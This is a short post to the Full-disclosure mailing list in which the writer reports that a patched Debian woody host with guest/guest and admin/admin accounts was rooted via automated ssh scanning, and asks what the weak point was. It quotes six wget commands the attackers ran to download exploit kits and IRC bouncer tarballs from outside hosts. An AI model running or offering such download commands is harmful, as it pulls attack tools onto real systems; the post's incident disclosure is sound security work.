Subject: [Full-disclosure] Automated ssh scanning


Hello list!

A few weeks ago there was a discussion about automated ssh scanning with
user/password combinations like guest/guest or admin/admin.
I set up a debian woody fully patched with both accounts activated, and
got rooted some days later...

The attackers installed some software and irc-bots and tried to use this
host for testing other computers, thats not the point. I would like to
know where's the weak point in the system? As the system was updates on
a daily base! The only known weakness were these two accounts!

Here is a list of software the attacker used, maybe someone could bring
a bit light into this tunnel!

wget sky.prohosting.com/awxro/linux/xpl.tar.gz
wget www.bo2k-rulez.net/a
wget www.bo2k-rulez.net/psybnc.tgz
wget www.corbeanu.as.ro/t.gz
wget roarmy.com/god.tgz
wget www.generatiapro.go.ro/fast.tgz
